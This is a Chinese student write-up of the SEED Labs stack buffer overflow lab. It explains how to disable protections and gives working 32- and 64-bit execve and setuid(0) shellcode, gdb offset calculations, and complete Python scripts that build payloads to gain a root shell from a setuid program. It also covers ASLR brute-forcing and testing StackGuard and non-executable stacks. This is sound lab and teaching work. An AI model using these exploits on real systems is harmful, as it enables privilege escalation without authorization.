SEEDlab—缓冲区溢出漏洞

环境设置

关闭反制措施

地址空间布局随机化

地址空间布局随机化:Linux操作系统的使用随机的地址来设置堆栈的起始地址,使得攻击者很难猜测出确切的堆栈起始地址。

使用命令sudo sysctl -w kernel.randomize_va_space=0来关闭地址空间布局随机化。

配置/bin/sh

zsh:Zsh(Z-shell)是一款用于交互式使用的shell,也可以作为脚本解释器来使用。其包含了bash,ksh,tcsh等其他shell中许多优秀功能,也拥有诸多自身特色。

由于/bin/sh的符号链接指向/bin/dash,而/bin/dash有一种安全机制,我们需要将/bin/sh链接到我们安装的/bin/zsh上。

使用命令:

sudo ln -sf /bin/zsh /bin/sh

Task1:熟悉shellcode

C语言版本的shellcode

#include <stdio.h>

int main(){
  char *name[2];
  name[0] = "/bin/sh";
  name[1] = NULL;
  execve(name[0], name, NULL);
}

编译并设置所有者为root:

gcc cshellcode.c -o cshellcode
sudo chown root cshellcode
sudo chmod 4755 cshellcode
./cshellcode
image-20241009092042978

发现成功进入了root shell。

32bit shellcode

; Store the command on stack
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp ; ebx --> "/bin//sh": execve()'s 1st argument

; Construct the argument array argv[]
push eax ; argv[1] = 0
push ebx ; argv[0] --> "/bin//sh"
mov ecx, esp ; ecx --> argv[]: execve()'s 2nd argument

; For environment variable
xor edx, edx ; edx = 0: execve()'s 3rd argument

; Invoke execve()
xor eax, eax ;
mov al, 0x0b ; execve()'s system call number
int 0x80

这段汇编代码通过将execve()函数的参数依次压入栈中,并通过ebxecxedx三个寄存器向execve()传递参数,当我们将al的值设为0x0b,并执行int 0x80时,就会执行execve系统调用。

64bit shellcode

xor rdx, rdx ; rdx = 0: execve()'s 3rd argument
push rdx
mov rax, '/bin//sh' ; the command we want to run
push rax ;
mov rdi, rsp ; rdi --> "/bin//sh": execve()'s 1st argument
push rdx ; argv[1] = 0
push rdi ; argv[0] --> "/bin//sh"
mov rsi, rsp ; rsi --> argv[]: execve()'s 2nd argument
xor rax, rax
mov al, 0x3b ; execve()'s system call number
syscall

调用shellcode

在shellcode文件夹中,已经帮我们写好了Makefile文件,如下所示:

all: 
	gcc -m32 -z execstack -o a32.out call_shellcode.c
	gcc -z execstack -o a64.out call_shellcode.c

setuid:
	gcc -m32 -z execstack -o a32.out call_shellcode.c
	gcc -z execstack -o a64.out call_shellcode.c
	sudo chown root a32.out a64.out
	sudo chmod 4755 a32.out a64.out

clean:
	rm -f a32.out a64.out *.o

使用命令make all,会编译c源代码,生成a32.outa64.out,执行发现会进入seed权限的shell

image-20241009093502149

使用命令make setuid,会编译c源代码,并将两个可执行文件设置为setuid文件,执行后发现进入root权限的shell

image-20241009093755098

Task2:理解漏洞程序

源码解释

在code目录下有一个stack.c,如下所示:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

void dummy_function(char *str);

int bof(char *str)
{
    char buffer[BUF_SIZE];

    // The following statement has a buffer overflow problem 
    strcpy(buffer, str);       

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r"); 
    if (!badfile) {
       perror("Opening badfile"); exit(1);
    }

    int length = fread(str, sizeof(char), 517, badfile);
    printf("Input size: %d\n", length);
    dummy_function(str);
    fprintf(stdout, "==== Returned Properly ====\n");
    return 1;
}

// This function is used to insert a stack frame of size 
// 1000 (approximately) between main's and bof's stack frames. 
// The function itself does not do anything. 
void dummy_function(char *str)
{
    char dummy_buffer[1000];
    memset(dummy_buffer, 0, 1000);
    bof(str);
}
  • 该程序定义了一个常量BUF_SIZE=100,意味着缓冲区的大小为100
  • strcpy()函数没有边界检查功能,因此如果传入的str的大小超过缓冲区大小就会造成缓冲区溢出
  • 在main函数里,会从badfile文件中读取一个输入,并将输入传入缓冲区

编译

在编译时我们需要使用-fno-stack-protector-z execstack参数关闭 StackGuard 和不可执行栈的保护机制,这些已经写到Makefile中了,只需make即可。

Task3:对 32-bit 程序实施攻击 (Level 1)

确定地址

在使用gcc编译时加入-g参数,可以将调试信息加入到二进制文件中,我们使用gdb对二进制文件进行调试。

  1. 首先我们使用b bofbof()函数处下断点
  2. 然后使用run命令运行程序到断点处,如下图所示:
image-20241009222650041

我们可以看到汇编代码部分,下面详细解释:

=> 0x565562ad <bof>:	endbr32 
   0x565562b1 <bof+4>:	push   ebp
   0x565562b2 <bof+5>:	mov    ebp,esp
   0x565562b4 <bof+7>:	push   ebx
   0x565562b5 <bof+8>:	sub    esp,0x84

ebp:ebp(Extended Base Pointer)是x86架构中的一个寄存器,通常用于函数调用中的栈帧管理。它的主要用途是在程序执行过程中充当基址指针,具体来说,EBP在函数调用时保存了调用者的栈帧基址,并被用来创建当前函数的栈帧。

esp:esp(Extended Stack Pointer)是x86架构中的一个寄存器,用于指向当前栈顶的位置。它是栈指针寄存器,用于管理栈的操作,特别是在函数调用和返回时对栈进行操作。

可以发现esp的值还没赋给ebp,因此此时我们获取的值是函数调用者的地址

使用p $ebp打印 ebp 寄存器的地址:

gdb-peda$ p $ebp
$1 = (void *) 0xffffcf88

而我们想获得bof()函数的基址,需要先让程序执行到0x565562b2 <bof+5>: mov ebp,esp这步之后ebp中存储的地址才是bof()函数的基址。

使用next命令进行单步调试,此时再使用p $ebp打印 ebp 寄存器的地址,才是bof()函数的基址。

gdb-peda$ p $ebp
$2 = (void *) 0xffffcb78

此时再使用p &buffer来获取缓冲区的起始地址

gdb-peda$ p &buffer
$3 = (char (*)[120]) 0xffffcaf8

生成shellcode

我们需要将前面提到的32bit的shellcode转为机器码,如下所示:

\x31\xc0              // xor    eax,eax
\x50                  // push   eax
\x68\x2f\x2f\x73\x68  // push   0x68732f2f  ("//sh")
\x68\x2f\x62\x69\x6e  // push   0x6e69622f  ("/bin")
\x89\xe3              // mov    ebx,esp
\x50                  // push   eax
\x53                  // push   ebx
\x89\xe1              // mov    ecx,esp
\x31\xd2              // xor    edx,edx
\x31\xc0              // xor    eax,eax
\xb0\x0b              // mov    al,0xb
\xcd\x80              // int    0x80

所以shellcode就可以写为:

shellcode= (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

布置shellcode

为了实现缓冲区溢出攻击,我们需要精心设计shellcode的位置以及覆盖原有函数的地址,使shellcode可以执行并返回。

我们选择在离返回地址较近的地方来布置我们的shellcode,由于content的长度为517,我们的shellcode长度为27,所以我们选择在450位置写入shellcode

# Put the shellcode somewhere in the payload
start = 450               # Change this number 
content[start:start + len(shellcode)] = shellcode

覆盖返回地址

  1. 首先要计算我们布置的shellcode的地址,将这个作为返回地址:

$$ ret=&buffer(缓冲区起始地址)+start(shellcode在缓冲区里的位置) $$

  1. 然后我们需要将这个返回地址写入溢出的某个位置,使其正好覆盖bof()函数的返回地址,如下:
                                           +-----------------+
                                           |      retaddr    |
                                           +-----------------+
                                           |       4bit      |
                                    ebp--->+-----------------+
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                 &buffer-->+-----------------+

不难计算出,bof函数的返回地址在缓冲区中的偏移offset: $$ offset=$ebp-&buffer+4 $$

编写exp

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 450               # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    =  0xffffcaf8+start         # Change this number 
offset = 0xffffcb78-0xffffcaf8+4              # Change this number 

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

执行我们的exp,并执行写入shellcode后的程序:

image-20241010114816045

攻击成功,获得了root shell。

Task4:在不知道缓冲区大小的情况下实施攻击 (Level 2)

在不知道缓冲区大小的情况下,我们假设你知道缓冲区大小的范围是 100∼200 字节,所以我们可以将buffer的前204位置全部设置为ret的地址,这样只要发生缓冲区溢出,且溢出可以覆盖返回地址,我们就可以成功进行攻击。

# Put the shellcode somewhere in the payload
start = 400               # Change this number 
content[start:start + len(shellcode)] = shellcode

使用gdb调试,找到函数的起始地址和缓冲区的起始地址:

gdb-peda$ p $ebp
$1 = (void *) 0xffffcb88
gdb-peda$ p &buffer
$2 = (char (*)[180]) 0xffffcacc

编写exp:

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 400              # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    =  0xffffcacc+start         # Change this number 
#ret = 0x55555555522e
offset = 0xffffcb88-0xffffcacc+4             # Change this number 

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[0:offset + L] = (ret).to_bytes(L,byteorder='little') *(204//4) #将前204位全部填充ret
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

执行exp,并执行写入shellcode后的可执行文件stack-L2

image-20241010142754767

发现成功进入root shell,并且只需要一次,无需爆破。

Task5:对 64-bit 程序实施攻击 (Level 3)

由于程序是通过strcpy()将badfile读取到buffer里的,因此我们的shellcode中不能出现\x00,因为这样会导致strcpy截断,同时写入的返回地址的前两位总是00,由于地址在栈中是以小端序存储的,因此我们只要将返回地址写到badfile的最后位置就行,这样就可以读取到完整的shellcode。

首先使用gdb调试获取缓冲区起始地址和函数返回地址:

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffddf0 --> 0x9090909090909090 
RBX: 0x555555555360 (<__libc_csu_init>:	endbr64)
RCX: 0x7fffffffddc0 --> 0x0 
RDX: 0x7fffffffddc0 --> 0x0 
RSI: 0x0 
RDI: 0x7fffffffddf0 --> 0x9090909090909090 
RBP: 0x7fffffffd9c0 --> 0x7fffffffddd0 --> 0x7fffffffe010 --> 0x0 
RSP: 0x7fffffffd8c0 --> 0x7ffff7ffd9e8 --> 0x7ffff7fcf000 --> 0x10102464c457f 
RIP: 0x55555555523f (<bof+22>:	mov    rdx,QWORD PTR [rbp-0xf8])
R8 : 0x0 
R9 : 0x10 
R10: 0x55555555602c --> 0x52203d3d3d3d000a ('\n')
R11: 0x246 
R12: 0x555555555140 (<_start>:	endbr64)
R13: 0x7fffffffe100 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555522e <bof+5>:	mov    rbp,rsp
   0x555555555231 <bof+8>:	sub    rsp,0x100
   0x555555555238 <bof+15>:	mov    QWORD PTR [rbp-0xf8],rdi
=> 0x55555555523f <bof+22>:	mov    rdx,QWORD PTR [rbp-0xf8]
   0x555555555246 <bof+29>:	lea    rax,[rbp-0xf0]
   0x55555555524d <bof+36>:	mov    rsi,rdx
   0x555555555250 <bof+39>:	mov    rdi,rax
   0x555555555253 <bof+42>:	call   0x5555555550c0 <strcpy@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd8c0 --> 0x7ffff7ffd9e8 --> 0x7ffff7fcf000 --> 0x10102464c457f 
0008| 0x7fffffffd8c8 --> 0x7fffffffddf0 --> 0x9090909090909090 
0016| 0x7fffffffd8d0 --> 0x7fffffffd964 --> 0x0 
0024| 0x7fffffffd8d8 --> 0x7fffffffd9c0 --> 0x7fffffffddd0 --> 0x7fffffffe010 --> 0x0 
0032| 0x7fffffffd8e0 --> 0x7ffff7fcf7f0 --> 0x675f646c74725f00 ('')
0040| 0x7fffffffd8e8 --> 0x7ffff7fb6520 --> 0x7ffff7ffe190 --> 0x555555554000 --> 0x10102464c457f 
0048| 0x7fffffffd8f0 --> 0x3 
0056| 0x7fffffffd8f8 --> 0x7ffff7fcf4c0 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
20	    strcpy(buffer, str);       
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffd9c0
gdb-peda$ p &buffer
$2 = (char (*)[240]) 0x7fffffffd8d0

计算偏移:

Python 3.8.5 (default, Jul 28 2020, 12:59:40) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x7fffffffd9c0-0x7fffffffd8d0+8)
248

因此我们需要把shellcode写到248之前,我们从100开始写,如下所示:

# Put the shellcode somewhere in the payload
start = 100              # Change this number 
content[start:start + len(shellcode)] = shellcode

调试查看栈中数据:

使用命令stack 400

image-20241012165639732

发现正是我们写入的shellcode和shellcode的返回地址,而且是以小端序存储的,这证明了没有被\x00截断,成功写入了缓冲区。

完整exp如下:

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 100              # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    =  0x7fffffffd8d0+start         # Change this number 
offset = 0x7fffffffd9c0-0x7fffffffd8d0+8              # Change this number 

L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

攻击效果:

image-20241012165933315

攻击成功,拿到root shell。

Task6:对 64-bit 程序实施攻击 (Level 4)

本任务的缓冲区大小只有10。

先使用gdb找到缓冲区起始地址和函数返回地址

gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffd9c0
gdb-peda$ p &buffer
$2 = (char (*)[10]) 0x7fffffffd9b6

由于缓冲区太小,放不下我们的shellcode,于是我们可以利用main函数里的char str[517]

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r"); 
    if (!badfile) {
       perror("Opening badfile"); exit(1);
    }

    int length = fread(str, sizeof(char), 517, badfile);
    printf("Input size: %d\n", length);
    dummy_function(str);
    fprintf(stdout, "==== Returned Properly ====\n");
    return 1;
}

在main函数下断点,然后当str入栈时,查看shellcode的地址,如下所示:

image-20241012182222517

发现了str上的shellcode的返回地址(0x7fffffffde58+4=0x7fffffffde5c)

于是将ret的值设为0x7fffffffde5c

完整exp如下:

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
"\x48\x31\xd2"                      # xor    rdx, rdx          ; rdx = 0 (NULL)
"\x52"                               # push   rdx               ; push NULL (for argv/envp)
"\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68"  # movabs rax, 0x68732f2f6e69622f ; "/bin//sh"
"\x50"                               # push   rax               ; push "/bin//sh" on the stack
"\x48\x89\xe7"                       # mov    rdi, rsp          ; rdi = pointer to "/bin//sh"
"\x52"                               # push   rdx               ; push NULL (argv[0] = NULL)
"\x57"                               # push   rdi               ; push "/bin//sh" address for argv[0]
"\x48\x89\xe6"                       # mov    rsi, rsp          ; rsi = pointer to argv
"\x48\x31\xc0"                       # xor    rax, rax          ; rax = 0 (clear rax)
"\xb0\x3b"                           # mov    al, 0x3b          ; syscall number for execve (0x3b)
"\x0f\x05"                           # syscall                  ; invoke syscall

).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 108             # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    =  0x7fffffffde5c         # Change this number 
#ret = 0x55555555522e
offset = 0x7fffffffd9c0-0x7fffffffd9b6+8              # Change this number 

L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

执行结果:

image-20241012182700643

Task7:攻破 dash 的保护机制

设置/bin/dash

我们首先改回去,让/bin/sh指向/bin/dash

$ sudo ln -sf /bin/dash /bin/sh

测试shellcode

输入make setuidcall_shellcode.c编译为root所有的二进制文件,不调用setuid(0)的时候:

image-20241012160829342

可以发现由于/bin/dash的防护机制,执行shellcode后并没有进入 root shell。

现在修改call_shellcode.c,调用setuid(0)

image-20241012161114849

发现成功获取 root shell。

对32bit和64bit程序实施攻击

bin/dash通过检测当前进程的euid是不是和uid相同,如果检测到不同,就会主动放弃特权,导致我们拿不到root shell,我们先使用之前32位的exp试试:

image-20241012155759812

发现确实没有拿到root shell。

于是我们修改我们的shellcode,在前面加入以下汇编的机器码:

; Invoke setuid(0): 32-bit
xor ebx, ebx ; ebx = 0: setuid()'s argument
xor eax, eax
mov al, 0xd5 ; setuid()'s system call number
int 0x80

; Invoke setuid(0): 64-bit
xor rdi, rdi ; rdi = 0: setuid()'s argument
xor rax, rax
mov al, 0x69 ; setuid()'s system call number
syscall

// Binary code for setuid(0) 
// 64-bit:  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit:  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"

32bit

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"  #setuid(0)
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 400              # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    =  0xffffcb08+start         # Change this number 
offset = 0xffffcb88-0xffffcb08+4              # Change this number 

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

写入并执行,成功拿到root shell:

image-20241012160204650

64bit

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05" #setuid(0)
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 100              # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    =  0x7fffffffd8d0+start         # Change this number 
offset = 0x7fffffffd9c0-0x7fffffffd8d0+8              # Change this number 

L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
image-20241012185913535

Task8:攻破地址随机化

打开地址随机化:

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2

使用sh brute-force.sh,运行暴力破解脚本,不断的运行stack-L1

image-20241012192214549

成功进入root shell。

Task9:测试其他保护机制

打开 StackGuard 保护机制

编译时不使用-fno-stack-protector参数,重新编译stack-L1

将以下的部分加入Makefile

stackguard:
	gcc -DBUF_SIZE=$(L1) -z execstack $(FLAGS_32) -o stack-L1 stack.c
	gcc -DBUF_SIZE=$(L1) -z execstack $(FLAGS_32) -g -o stack-L1-dbg stack.c
	sudo chown root stack-L1 && sudo chmod 4755 stack-L1

使用make stackguard进行编译:

image-20241012193541929

可以发现检测到了栈溢出,终止了程序。

打开不可执行栈保护机制

编译时使用-z noexecstack参数,使栈上不可执行shellcode

将以下写入makefile:

noexecstack:
	gcc -m32 -z noexecstack -o a32.out call_shellcode.c
	gcc -z noexecstack -o a64.out call_shellcode.c
	sudo chown root a32.out a64.out
	sudo chmod 4755 a32.out a64.out
image-20241012194052482

发现程序报错,都无法提权。